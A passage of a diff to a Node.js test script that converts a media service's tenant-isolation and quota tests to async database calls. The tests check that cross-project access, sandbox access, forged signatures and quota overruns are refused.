- assert.ok(/^inline/.test(r.headers.get('content-disposition') || ''), 'images stay inline');
+ // Pictures and plain text still display inline.
+ const png = Buffer.from('89504e470d0a1a0a0000000d49484452', 'hex');
+ r = await upload(PA, appTok(), png, 'pic.png', 'image/png');
+ r = await req('GET', `/f/${encodeURIComponent(r.body.key)}`);
+ assert.strictEqual(r.headers.get('content-type'), 'image/png');
+ assert.ok(/^inline/.test(r.headers.get('content-disposition') || ''), 'images stay inline');
- // ── 2. Concurrent v1 uploads cannot all slip under the quota ──
- const sbQuota = 1024 * 1024;
- db.run('DELETE FROM files WHERE app_id = ?', [`${PA}-sandbox`]);
- const chunk = 400 * 1024;
- const results = await Promise.all(Array.from({ length: 6 }, (_, i) => upload(PA, appTok({ env: 'sandbox' }), crypto.randomBytes(chunk), `c${i}.bin`, 'application/octet-stream')));
- const stored = results.filter(x => x.status === 201).length;
- assert.ok(stored <= 2, `at most 2 × 400 KB fit in 1 MB, ${stored} were stored`);
- assert.ok(model.usedBytes(`${PA}-sandbox`) <= sbQuota, 'sandbox usage stays within its quota');
+ // ── 2. Concurrent v1 uploads cannot all slip under the quota ──
+ const sbQuota = 1024 * 1024;
+ await db.run('DELETE FROM files WHERE app_id = ?', [`${PA}-sandbox`]);
+ const chunk = 400 * 1024;
+ const results = await Promise.all(Array.from({ length: 6 }, async (_, i) => await upload(PA, appTok({ env: 'sandbox' }), crypto.randomBytes(chunk), `c${i}.bin`, 'application/octet-stream')));
+ const stored = results.filter(x => x.status === 201).length;
+ assert.ok(stored <= 2, `at most 2 × 400 KB fit in 1 MB, ${stored} were stored`);
+ assert.ok(await model.usedBytes(`${PA}-sandbox`) <= sbQuota, 'sandbox usage stays within its quota');
- // ── 3. Upload → delete → upload cannot outgrow the quota while the bytes are retained ──
- const tok = appTok({ project: PB, env: 'sandbox' });
- const size = 700 * 1024;
- let refusedAt = null;
- for (let i = 0; i < 4 && refusedAt == null; i++) {
- r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size, mime_type: 'application/octet-stream' } });
- if (r.status === 413) { refusedAt = i; break; }
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- const id = r.body.id;
- r = await req('PUT', local(r.body.upload.url), { raw: crypto.randomBytes(size), headers: { 'content-type': 'application/octet-stream' } });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- r = await req('POST', `/api/v2/${PB}/objects/${id}/complete`, { bearer: tok, json: {} });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- r = await req('DELETE', `/api/v2/${PB}/objects/${id}`, { bearer: tok });
- assert.strictEqual(r.status, 200, JSON.stringify(r.body));
- }
- assert.strictEqual(refusedAt, 1, 'soft-deleted bytes still on disk count against a project tenant quota');
- // Once purged, the space is free again.
- db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE app_id = ?", [`${PB}-sandbox`]);
- model.purgeExpired({ retentionDays: 30 });
- r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size } });
- assert.strictEqual(r.status, 201, 'purged bytes no longer count');
+ // ── 3. Upload → delete → upload cannot outgrow the quota while the bytes are retained ──
+ const tok = appTok({ project: PB, env: 'sandbox' });
+ const size = 700 * 1024;
+ let refusedAt = null;
+ for (let i = 0; i < 4 && refusedAt == null; i++) {
+ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size, mime_type: 'application/octet-stream' } });
+ if (r.status === 413) { refusedAt = i; break; }
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const id = r.body.id;
+ r = await req('PUT', local(r.body.upload.url), { raw: crypto.randomBytes(size), headers: { 'content-type': 'application/octet-stream' } });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ r = await req('POST', `/api/v2/${PB}/objects/${id}/complete`, { bearer: tok, json: {} });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ r = await req('DELETE', `/api/v2/${PB}/objects/${id}`, { bearer: tok });
+ assert.strictEqual(r.status, 200, JSON.stringify(r.body));
+ }
+ assert.strictEqual(refusedAt, 1, 'soft-deleted bytes still on disk count against a project tenant quota');
+ // Once purged, the space is free again.
+ await db.run("UPDATE media_objects SET deleted_at = datetime('now', '-40 days') WHERE app_id = ?", [`${PB}-sandbox`]);
+ await model.purgeExpired({ retentionDays: 30 });
+ r = await req('POST', `/api/v2/${PB}/objects`, { bearer: tok, json: { size_bytes: size } });
+ assert.strictEqual(r.status, 201, 'purged bytes no longer count');
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('developer-project tenant abuse: all checks passed');
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('developer-project tenant abuse: all checks passed');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -11,255 +11,257 @@ const path = require('path');
@@ -11,255 +11,257 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-apptenants-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.OV_NETWORK_URL = 'https://openvibe.network';
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
-process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';
-process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-apptenants-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.OV_NETWORK_URL = 'https://openvibe.network';
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
+ process.env.MEDIA_APP_TENANT_QUOTA_MB = '2';
+ process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '1';
-const db = require('../server/db/database');
-const auth = require('../server/auth');
-const objectRoutes = require('../server/objects/routes');
-const { serviceAuth, ids } = require('openvibe-contracts');
-const express = require('express');
+ const db = require('../server/db/database');
+ const auth = require('../server/auth');
+ const objectRoutes = require('../server/objects/routes');
+ const { serviceAuth, ids } = require('openvibe-contracts');
+ const express = require('express');
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-auth._setNetworkPublicKeyForTests(keys.publicKey);
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-auth.ensureTokenOnlyApps();
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await auth.ensureTokenOnlyApps();
-const PA = `prj_${ids.ulid()}`;
-const PB = `prj_${ids.ulid()}`;
-const PC = `prj_${ids.ulid()}`;
-const APP_A = `app_${ids.ulid()}`;
-const APP_B = `app_${ids.ulid()}`;
-const now = Math.floor(Date.now() / 1000);
-const BOTH = ['media.object.upload', 'media.object.read'];
-const appTok = ({ project = PA, app = APP_A, env = 'production', cap = BOTH, ns, ...over } = {}) => serviceAuth.signServiceToken({
- iss: 'https://openvibe.network', sub: `app:${app}`, actor_type: 'app', aud: ['openvibe.media'], cap, ns: ns || [project],
- project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over,
-}, keys.privateKey);
-const svcTok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: BOTH, ns: ['community'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over }, keys.privateKey);
+ const PA = `prj_${ids.ulid()}`;
+ const PB = `prj_${ids.ulid()}`;
+ const PC = `prj_${ids.ulid()}`;
+ const APP_A = `app_${ids.ulid()}`;
+ const APP_B = `app_${ids.ulid()}`;
+ const now = Math.floor(Date.now() / 1000);
+ const BOTH = ['media.object.upload', 'media.object.read'];
+ const appTok = ({ project = PA, app = APP_A, env = 'production', cap = BOTH, ns, ...over } = {}) => serviceAuth.signServiceToken({
+ iss: 'https://openvibe.network', sub: `app:${app}`, actor_type: 'app', aud: ['openvibe.media'], cap, ns: ns || [project],
+ project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over,
+ }, keys.privateKey);
+ const svcTok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: BOTH, ns: ['community'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over }, keys.privateKey);
-// Same mount order as server/index.js.
-const app = express();
-app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
-app.use(express.json());
-app.use('/api/v1/:app/files', require('../server/files/routes'));
-app.use('/api/v1/:app/vods', require('../server/vod/routes'));
-app.use('/api/v2/:app/objects', objectRoutes);
-app.use('/o', objectRoutes.publicRouter);
-app.use('/', require('../server/public/routes'));
-const server = http.createServer(app);
+ // Same mount order as server/index.js.
+ const app = express();
+ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);
+ app.use(express.json());
+ app.use('/api/v1/:app/files', require('../server/files/routes'));
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ app.use('/api/v2/:app/objects', objectRoutes);
+ app.use('/o', objectRoutes.publicRouter);
+ app.use('/', require('../server/public/routes'));
+ const server = http.createServer(app);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const local = (u) => base + String(u).replace('https://media.test', '');
- const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {
- const h = { ...headers };
- if (bearer) h.authorization = `Bearer ${bearer}`;
- let body;
- if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }
- if (form) body = form;
- if (raw !== undefined) body = raw;
- const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });
- const text = await r.text();
- let parsed = null;
- try { parsed = JSON.parse(text); } catch { /* bytes */ }
- return { status: r.status, body: parsed, text, headers: r.headers };
- };
- const upload = (project, bearer, content = 'hello from a developer app', name = 'note.txt') => {
- const fd = new FormData();
- fd.append('file', new Blob([Buffer.from(content)], { type: 'text/plain' }), name);
- return req('POST', `/api/v1/${project}/files`, { bearer, form: fd });
- };
- const tenants = () => db.all("SELECT app_id, project_id, env, quota_bytes, api_key_hash FROM apps WHERE app_id LIKE 'prj_%' ORDER BY app_id");
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const local = (u) => base + String(u).replace('https://media.test', '');
+ const req = async (method, p, { bearer, json, form, raw, headers = {} } = {}) => {
+ const h = { ...headers };
+ if (bearer) h.authorization = `Bearer ${bearer}`;
+ let body;
+ if (json !== undefined) { h['content-type'] = 'application/json'; body = JSON.stringify(json); }
+ if (form) body = form;
+ if (raw !== undefined) body = raw;
+ const r = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body, redirect: 'manual' });
+ const text = await r.text();
+ let parsed = null;
+ try { parsed = JSON.parse(text); } catch { /* bytes */ }
+ return { status: r.status, body: parsed, text, headers: r.headers };
+ };
+ const upload = async (project, bearer, content = 'hello from a developer app', name = 'note.txt') => {
+ const fd = new FormData();
+ fd.append('file', new Blob([Buffer.from(content)], { type: 'text/plain' }), name);
+ return await req('POST', `/api/v1/${project}/files`, { bearer, form: fd });
+ };
+ const tenants = async () => await db.all("SELECT app_id, project_id, env, quota_bytes, api_key_hash FROM apps WHERE app_id ILIKE 'prj_%' ORDER BY app_id");
- // ── First use creates the tenant; nothing exists before ──
- assert.strictEqual(tenants().length, 0);
- let r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ cap: ['media.object.upload'] }) });
- assert.strictEqual(r.status, 403, 'list needs media.object.read');
- assert.strictEqual(r.body.code, 'capability.denied');
- assert.strictEqual(tenants().length, 0, 'a refused call creates no tenant');
- r = await req('GET', `/api/v1/${PB}/files`, { bearer: appTok() });
- assert.strictEqual(r.status, 403, "project A's token on project B's path");
- assert.strictEqual(r.body.code, 'capability.namespace_denied');
- r = await req('GET', `/api/v1/${PB}/files`, { bearer: appTok({ ns: [PA, PB] }) });
- assert.strictEqual(r.status, 403, 'the token project_id decides, not a widened ns');
- assert.strictEqual(tenants().length, 0, 'wrong project never creates a tenant');
+ // ── First use creates the tenant; nothing exists before ──
+ assert.strictEqual((await tenants()).length, 0);
+ let r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ cap: ['media.object.upload'] }) });
+ assert.strictEqual(r.status, 403, 'list needs media.object.read');
+ assert.strictEqual(r.body.code, 'capability.denied');
+ assert.strictEqual((await tenants()).length, 0, 'a refused call creates no tenant');
+ r = await req('GET', `/api/v1/${PB}/files`, { bearer: appTok() });
+ assert.strictEqual(r.status, 403, "project A's token on project B's path");
+ assert.strictEqual(r.body.code, 'capability.namespace_denied');
+ r = await req('GET', `/api/v1/${PB}/files`, { bearer: appTok({ ns: [PA, PB] }) });
+ assert.strictEqual(r.status, 403, 'the token project_id decides, not a widened ns');
+ assert.strictEqual((await tenants()).length, 0, 'wrong project never creates a tenant');
- r = await upload(PA, appTok());
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- const prodFile = r.body;
- assert.strictEqual(prodFile.url, `/f/${prodFile.key}`, 'production app files are public like any tenant');
- assert.ok(!prodFile.sandbox);
- r = await upload(PA, appTok({ env: 'sandbox' }), 'sandbox bytes');
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- const sbFile = r.body;
- assert.strictEqual(sbFile.sandbox, true);
- assert.ok(/^https:\/\/media\.test\/f\/.+\?exp=\d+&sig=/.test(sbFile.url), 'sandbox files get a signed URL');
- assert.ok(sbFile.url_expires_at);
+ r = await upload(PA, appTok());
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const prodFile = r.body;
+ assert.strictEqual(prodFile.url, `/f/${prodFile.key}`, 'production app files are public like any tenant');
+ assert.ok(!prodFile.sandbox);
+ r = await upload(PA, appTok({ env: 'sandbox' }), 'sandbox bytes');
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const sbFile = r.body;
+ assert.strictEqual(sbFile.sandbox, true);
+ assert.ok(/^https:\/\/media\.test\/f\/.+\?exp=\d+&sig=/.test(sbFile.url), 'sandbox files get a signed URL');
+ assert.ok(sbFile.url_expires_at);
- const t = tenants();
- assert.deepStrictEqual(t.map(x => [x.app_id, x.project_id, x.env]), [[PA, PA, 'production'], [`${PA}-sandbox`, PA, 'sandbox']], 'separate production and sandbox tenants');
- assert.strictEqual(t[0].quota_bytes, 2 * 1024 * 1024);
- assert.strictEqual(t[1].quota_bytes, 1 * 1024 * 1024, 'sandbox quota is smaller');
- assert.ok(t.every(x => x.api_key_hash === ''), 'no API key for project tenants');
- assert.ok(fs.existsSync(path.join(process.env.FILES_PATH, `${PA}-sandbox`)), 'sandbox bytes live in their own tenant directory');
+ const t = await tenants();
+ assert.deepStrictEqual(t.map(x => [x.app_id, x.project_id, x.env]), [[PA, PA, 'production'], [`${PA}-sandbox`, PA, 'sandbox']], 'separate production and sandbox tenants');
+ assert.strictEqual(t[0].quota_bytes, 2 * 1024 * 1024);
+ assert.strictEqual(t[1].quota_bytes, 1 * 1024 * 1024, 'sandbox quota is smaller');
+ assert.ok(t.every(x => x.api_key_hash === ''), 'no API key for project tenants');
+ assert.ok(fs.existsSync(path.join(process.env.FILES_PATH, `${PA}-sandbox`)), 'sandbox bytes live in their own tenant directory');
- // ── Separation between environments and projects ──
- r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok() });
- assert.deepStrictEqual(r.body.files.map(f => f.key), [prodFile.key], 'production sees only production');
- r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ env: 'sandbox' }) });
- assert.deepStrictEqual(r.body.files.map(f => f.key), [sbFile.key], 'sandbox sees only sandbox');
- r = await req('GET', `/api/v1/${PA}/files/${encodeURIComponent(prodFile.key)}`, { bearer: appTok({ env: 'sandbox' }) });
- assert.strictEqual(r.status, 404, 'sandbox token cannot read a production file');
- r = await req('DELETE', `/api/v1/${PA}/files/${encodeURIComponent(sbFile.key)}`, { bearer: appTok() });
- assert.strictEqual(r.status, 404, 'production token cannot delete a sandbox file');
- r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: appTok({ env: 'sandbox', ns: [PA, `${PA}-sandbox`] }) });
- assert.strictEqual(r.status, 401, 'the sandbox tenant id is not addressable by path, even with a widened ns');
- assert.strictEqual(r.body.code, 'token.sandbox_refused');
- r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: appTok({ ns: [PA, `${PA}-sandbox`] }) });
- assert.strictEqual(r.status, 403, 'nor with a production token');
- r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: svcTok({ ns: ['*'] }) });
- assert.strictEqual(r.status, 404, 'nor with a first-party service token');
- r = await req('GET', `/api/v1/${PA}/files`, { bearer: svcTok({ ns: ['*'] }) });
- assert.strictEqual(r.status, 404, 'first-party service tokens never reach project tenants');
+ // ── Separation between environments and projects ──
+ r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok() });
+ assert.deepStrictEqual(r.body.files.map(f => f.key), [prodFile.key], 'production sees only production');
+ r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ env: 'sandbox' }) });
+ assert.deepStrictEqual(r.body.files.map(f => f.key), [sbFile.key], 'sandbox sees only sandbox');
+ r = await req('GET', `/api/v1/${PA}/files/${encodeURIComponent(prodFile.key)}`, { bearer: appTok({ env: 'sandbox' }) });
+ assert.strictEqual(r.status, 404, 'sandbox token cannot read a production file');
+ r = await req('DELETE', `/api/v1/${PA}/files/${encodeURIComponent(sbFile.key)}`, { bearer: appTok() });
+ assert.strictEqual(r.status, 404, 'production token cannot delete a sandbox file');
+ r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: appTok({ env: 'sandbox', ns: [PA, `${PA}-sandbox`] }) });
+ assert.strictEqual(r.status, 401, 'the sandbox tenant id is not addressable by path, even with a widened ns');
+ assert.strictEqual(r.body.code, 'token.sandbox_refused');
+ r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: appTok({ ns: [PA, `${PA}-sandbox`] }) });
+ assert.strictEqual(r.status, 403, 'nor with a production token');
+ r = await req('GET', `/api/v1/${PA}-sandbox/files`, { bearer: svcTok({ ns: ['*'] }) });
+ assert.strictEqual(r.status, 404, 'nor with a first-party service token');
+ r = await req('GET', `/api/v1/${PA}/files`, { bearer: svcTok({ ns: ['*'] }) });
+ assert.strictEqual(r.status, 404, 'first-party service tokens never reach project tenants');
- r = await upload(PB, appTok({ project: PB, app: APP_B }), 'project b');
- assert.strictEqual(r.status, 201);
- const bFile = r.body;
- r = await req('GET', `/api/v1/${PB}/files/${encodeURIComponent(prodFile.key)}`, { bearer: appTok({ project: PB, app: APP_B }) });
- assert.strictEqual(r.status, 404, "B cannot read A's file through its own path");
- for (const [m, p] of [['GET', `/api/v1/${PB}/files`], ['GET', `/api/v1/${PB}/files/${encodeURIComponent(bFile.key)}`], ['DELETE', `/api/v1/${PB}/files/${encodeURIComponent(bFile.key)}`]]) {
- r = await req(m, p, { bearer: appTok() });
- assert.strictEqual(r.status, 403, `A cannot ${m} ${p}`);
- }
- r = await upload(PB, appTok());
- assert.strictEqual(r.status, 403, 'A cannot upload into B');
- r = await upload(PA, appTok({ project: PB, app: APP_B }), 'same content as A', 'note.txt');
- assert.strictEqual(r.status, 403);
- // Identical bytes + name in two tenants never collide on the (global) key.
- r = await upload(PB, appTok({ project: PB, app: APP_B }));
- assert.strictEqual(r.status, 201);
- assert.notStrictEqual(r.body.key, prodFile.key, 'per-tenant key tag');
+ r = await upload(PB, appTok({ project: PB, app: APP_B }), 'project b');
+ assert.strictEqual(r.status, 201);
+ const bFile = r.body;
+ r = await req('GET', `/api/v1/${PB}/files/${encodeURIComponent(prodFile.key)}`, { bearer: appTok({ project: PB, app: APP_B }) });
+ assert.strictEqual(r.status, 404, "B cannot read A's file through its own path");
+ for (const [m, p] of [['GET', `/api/v1/${PB}/files`], ['GET', `/api/v1/${PB}/files/${encodeURIComponent(bFile.key)}`], ['DELETE', `/api/v1/${PB}/files/${encodeURIComponent(bFile.key)}`]]) {
+ r = await req(m, p, { bearer: appTok() });
+ assert.strictEqual(r.status, 403, `A cannot ${m} ${p}`);
+ }
+ r = await upload(PB, appTok());
+ assert.strictEqual(r.status, 403, 'A cannot upload into B');
+ r = await upload(PA, appTok({ project: PB, app: APP_B }), 'same content as A', 'note.txt');
+ assert.strictEqual(r.status, 403);
+ // Identical bytes + name in two tenants never collide on the (global) key.
+ r = await upload(PB, appTok({ project: PB, app: APP_B }));
+ assert.strictEqual(r.status, 201);
+ assert.notStrictEqual(r.body.key, prodFile.key, 'per-tenant key tag');
- // ── App tokens reach nothing else; sandbox tokens are refused off the app routes ──
- r = await upload('community', appTok({ ns: ['community'] }));
- assert.strictEqual(r.status, 403, 'an app token never reaches a first-party tenant');
- r = await upload('community', appTok({ env: 'sandbox', ns: ['community'] }));
- assert.strictEqual(r.status, 401);
- assert.strictEqual(r.body.code, 'token.sandbox_refused', 'sandbox token on a first-party tenant');
- r = await req('GET', `/api/v1/${PA}/vods`, { bearer: appTok({ env: 'sandbox' }) });
- assert.strictEqual(r.status, 401);
- assert.strictEqual(r.body.code, 'token.sandbox_refused', 'sandbox token on a route that is not an app-tenant route');
- r = await req('GET', `/api/v1/${PA}/vods`, { bearer: appTok() });
- assert.strictEqual(r.status, 403, 'production app token on vods');
- r = await req('GET', '/api/v1/live/vods', { bearer: appTok({ ns: ['live'] }) });
- assert.strictEqual(r.status, 403);
- r = await req('GET', `/api/v1/${PA}/files`, { bearer: 'live-key' });
- assert.strictEqual(r.status, 404, "an app key never unlocks a project tenant");
- r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ aud: ['openvibe.events'] }) });
- assert.strictEqual(r.status, 404, 'a token for another audience is no credential here');
+ // ── App tokens reach nothing else; sandbox tokens are refused off the app routes ──
+ r = await upload('community', appTok({ ns: ['community'] }));
+ assert.strictEqual(r.status, 403, 'an app token never reaches a first-party tenant');
+ r = await upload('community', appTok({ env: 'sandbox', ns: ['community'] }));
+ assert.strictEqual(r.status, 401);
+ assert.strictEqual(r.body.code, 'token.sandbox_refused', 'sandbox token on a first-party tenant');
+ r = await req('GET', `/api/v1/${PA}/vods`, { bearer: appTok({ env: 'sandbox' }) });
+ assert.strictEqual(r.status, 401);
+ assert.strictEqual(r.body.code, 'token.sandbox_refused', 'sandbox token on a route that is not an app-tenant route');
+ r = await req('GET', `/api/v1/${PA}/vods`, { bearer: appTok() });
+ assert.strictEqual(r.status, 403, 'production app token on vods');
+ r = await req('GET', '/api/v1/live/vods', { bearer: appTok({ ns: ['live'] }) });
+ assert.strictEqual(r.status, 403);
+ r = await req('GET', `/api/v1/${PA}/files`, { bearer: 'live-key' });
+ assert.strictEqual(r.status, 404, "an app key never unlocks a project tenant");
+ r = await req('GET', `/api/v1/${PA}/files`, { bearer: appTok({ aud: ['openvibe.events'] }) });
+ assert.strictEqual(r.status, 404, 'a token for another audience is no credential here');
- // svc: tokens keep their behaviour on first-party tenants.
- r = await upload('community', svcTok(), 'community bytes');
- assert.strictEqual(r.status, 201);
- const communityFile = r.body;
- r = await upload('live', svcTok());
- assert.strictEqual(r.body.code, 'capability.namespace_denied');
+ // svc: tokens keep their behaviour on first-party tenants.
+ r = await upload('community', svcTok(), 'community bytes');
+ assert.strictEqual(r.status, 201);
+ const communityFile = r.body;
+ r = await upload('live', svcTok());
+ assert.strictEqual(r.body.code, 'capability.namespace_denied');
- // ── Quotas ──
- r = await upload(PA, appTok({ env: 'sandbox' }), Buffer.alloc(1024 * 1024 + 10, 1).toString(), 'big.bin');
- assert.strictEqual(r.status, 413, 'sandbox quota (1 MB) enforced');
- r = await upload(PA, appTok(), Buffer.alloc(1024 * 1024 + 10, 1).toString(), 'big.bin');
- assert.strictEqual(r.status, 201, 'the production quota (2 MB) is larger');
- r = await upload(PA, appTok(), Buffer.alloc(1024 * 1024 + 10, 2).toString(), 'big2.bin');
- assert.strictEqual(r.status, 413, 'production quota enforced');
- r = await req('POST', `/api/v2/${PA}/objects`, { bearer: appTok({ env: 'sandbox' }), json: { size_bytes: 1024 * 1024 } });
- assert.strictEqual(r.status, 413, 'objects v2 counts files against the same quota');
+ // ── Quotas ──
+ r = await upload(PA, appTok({ env: 'sandbox' }), Buffer.alloc(1024 * 1024 + 10, 1).toString(), 'big.bin');
+ assert.strictEqual(r.status, 413, 'sandbox quota (1 MB) enforced');
+ r = await upload(PA, appTok(), Buffer.alloc(1024 * 1024 + 10, 1).toString(), 'big.bin');
+ assert.strictEqual(r.status, 201, 'the production quota (2 MB) is larger');
+ r = await upload(PA, appTok(), Buffer.alloc(1024 * 1024 + 10, 2).toString(), 'big2.bin');
+ assert.strictEqual(r.status, 413, 'production quota enforced');
+ r = await req('POST', `/api/v2/${PA}/objects`, { bearer: appTok({ env: 'sandbox' }), json: { size_bytes: 1024 * 1024 } });
+ assert.strictEqual(r.status, 413, 'objects v2 counts files against the same quota');
- // ── Public serving ──
- r = await req('GET', `/f/${encodeURIComponent(prodFile.key)}`);
- assert.strictEqual(r.status, 200);
- assert.strictEqual(r.text, 'hello from a developer app');
- r = await req('GET', `/f/${encodeURIComponent(communityFile.key)}`);
- assert.strictEqual(r.status, 200);
- r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}`);
- assert.strictEqual(r.status, 404, 'sandbox file is not public');
- r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}?exp=${now + 60}&sig=forged`);
- assert.strictEqual(r.status, 404, 'forged signature');
- r = await req('GET', local(sbFile.url));
- assert.strictEqual(r.status, 200, 'the signed URL serves it');
- assert.strictEqual(r.text, 'sandbox bytes');
- assert.strictEqual(r.headers.get('cache-control'), 'private, no-store');
- // A download signature for an object id is not a file signature.
- const objSig = require('../server/objects/signing').signedDownloadUrl(sbFile.key);
- r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}${new URL(objSig.url).search}`);
- assert.strictEqual(r.status, 404, 'purposes are separate');
- // The v2 projection of a sandbox file has no public URL either.
- const proj = db.get('SELECT object_id FROM files WHERE key = ?', [sbFile.key]);
- r = await req('GET', `/api/v2/${PA}/objects/${proj.object_id}`, { bearer: appTok({ env: 'sandbox' }) });
- assert.strictEqual(r.status, 200);
- assert.strictEqual(r.body.public_url, null);
- assert.strictEqual(r.body.sandbox, true);
- r = await req('GET', `/o/${proj.object_id}`);
- assert.strictEqual(r.status, 404);
+ // ── Public serving ──
+ r = await req('GET', `/f/${encodeURIComponent(prodFile.key)}`);
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(r.text, 'hello from a developer app');
+ r = await req('GET', `/f/${encodeURIComponent(communityFile.key)}`);
+ assert.strictEqual(r.status, 200);
+ r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}`);
+ assert.strictEqual(r.status, 404, 'sandbox file is not public');
+ r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}?exp=${now + 60}&sig=forged`);
+ assert.strictEqual(r.status, 404, 'forged signature');
+ r = await req('GET', local(sbFile.url));
+ assert.strictEqual(r.status, 200, 'the signed URL serves it');
+ assert.strictEqual(r.text, 'sandbox bytes');
+ assert.strictEqual(r.headers.get('cache-control'), 'private, no-store');
+ // A download signature for an object id is not a file signature.
+ const objSig = require('../server/objects/signing').signedDownloadUrl(sbFile.key);
+ r = await req('GET', `/f/${encodeURIComponent(sbFile.key)}${new URL(objSig.url).search}`);
+ assert.strictEqual(r.status, 404, 'purposes are separate');
+ // The v2 projection of a sandbox file has no public URL either.
+ const proj = await db.get('SELECT object_id FROM files WHERE key = ?', [sbFile.key]);
+ r = await req('GET', `/api/v2/${PA}/objects/${proj.object_id}`, { bearer: appTok({ env: 'sandbox' }) });
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(r.body.public_url, null);
+ assert.strictEqual(r.body.sandbox, true);
+ r = await req('GET', `/o/${proj.object_id}`);
+ assert.strictEqual(r.status, 404);
- // ── Objects v2 in a sandbox tenant: public visibility still needs a signature ──
- const bytes = Buffer.from('sandbox object bytes');
- r = await req('POST', `/api/v2/${PA}/objects`, { bearer: appTok({ env: 'sandbox' }), json: { visibility: 'public', size_bytes: bytes.length, mime_type: 'text/plain' } });
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- const obj = r.body;
- assert.ok(obj.upload.url.includes(`/api/v2/${PA}/objects/`), 'upload URL addresses the project, never the internal sandbox tenant id');
